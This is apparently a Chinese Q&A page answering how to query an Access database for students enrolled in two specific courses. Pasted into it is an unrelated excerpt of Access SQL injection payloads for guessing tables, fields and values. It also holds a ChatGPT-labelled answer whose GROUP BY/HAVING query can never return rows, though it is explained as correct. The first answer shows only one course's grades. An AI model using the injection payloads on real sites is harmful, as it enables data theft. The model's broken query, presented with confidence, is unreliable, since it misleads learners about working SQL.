access查询问题

给的问题是:查找同时选修了编号为1004702432'和'1004702754课程的同学学号、姓名、课程号和相应成绩,并按学号排序输出。
不知道SQL语句咋整 下面👇🏻是关系图

img

可以使用子查询做:

SELECT 学生表.学号, 学生表.姓名, 成绩表.课程号, 成绩表.成绩
FROM 学生表, 成绩表
WHERE 学生表.学号 = 成绩表.学号
AND 成绩表.课程号 = '1004702432'
AND 学生表.学号 IN (
    SELECT 学号
    FROM 成绩表
    WHERE 课程号 = '1004702754'
)
ORDER BY 学号;



  • 这个问题的回答你可以参考下: https://ask.csdn.net/questions/7409426
  • 除此之外, 这篇博客: 一文带你深入了解安全测试基础之SQL注入详解【建议新手收藏】中的 3.2 Access数据库注入 部分也许能够解决你的问题, 你可以仔细阅读以下内容或跳转源博客中阅读:
  • 利用内置数据库表获取数据库类型

    and (select count(*) from sysobjects)>=0
      Sysobjects为Mssql数据库内置表
    and (select count(*) from msysobjects)>=0
      Msysobjects为Access数据库内置表
    

    Access手工注入猜解

    • 猜表名
     and exists(select * from 表名)
       and(select count(*) from 表名)>=0
    
    • 猜字段名
    and exists(select 字段名 from 表名)
       and (select count(字段名) from 表名)>=0
    
    • 猜字段长度
     and (select top 1 len(字段名) from 表名)>1
       and (select top 1 len(字段名) from 表名)>2
       and (select top 1 len(字段名) from 表名)>n
    

    猜字段值

    and (select top 1 asc(mid (字段名,1,1)) from 表名)>0
      and (select top 1 asc(mid (字段名,1,1)) from 表名)>1
      and (select top 1 asc(mid (字段名,1,1)) from 表名)>n
      and (select top 1 asc(mid (字段名,2,1)) from 表名)>0
      and (select top 1 asc(mid (字段名,2,1)) from 表名)>2
      and (select top 1 asc(mid (字段名,2,1)) from 表名)>n
    
    • Order by 猜字段数目
    Order by 1
      Order by 2
      Order by n
    
    • Union select 获取段内容
    Union select 1,字段名,2,,n from 表名
    
  • 以下回答由chatgpt基于相关博客总结生成:

    我可以使用以下SQL语句查询学生同时选修1004702432和1004702754课程的成绩及其相应的学号、姓名和课程号:

    SELECT S.Sno, S.Sname, C.course_no, C.score
    FROM SC AS C
    INNER JOIN S ON C.Sno = S.Sno
    WHERE C.course_no IN ('1004702432', '1004702754')
    GROUP BY S.Sno, S.Sname, C.course_no, C.score
    HAVING COUNT(DISTINCT C.course_no) = 2
    ORDER BY S.Sno;
    

    该查询语句使用了内连接和聚合函数来筛选出同时选修了指定两门课程的学生的成绩信息,并按照学号排序输出。具体步骤如下:

    1. 使用INNER JOIN将SC表和S表连接起来,以获取学生的相关信息。
    2. 使用WHERE子句筛选出选修了指定两门课程的学生。同时,由于该查询需要用到两门课程的成绩信息,需要将这两门课程的课程编号列入筛选条件。
    3. 使用GROUP BY子句将查询结果按照学生的学号、姓名和选修的课程编号进行分组。
    4. 使用HAVING子句保留选修了指定两门课程的学生,并限制分组后的结果只包含这两门课程的成绩信息。
    5. 使用ORDER BY子句按照学号对查询结果进行排序。

    注意,由于课程编号列是字符串类型,需要使用单引号将其括起来。同时,该查询语句还使用了COUNT和DISTINCT函数来统计选修的课程数量,确保学生同时选修了指定两门课程。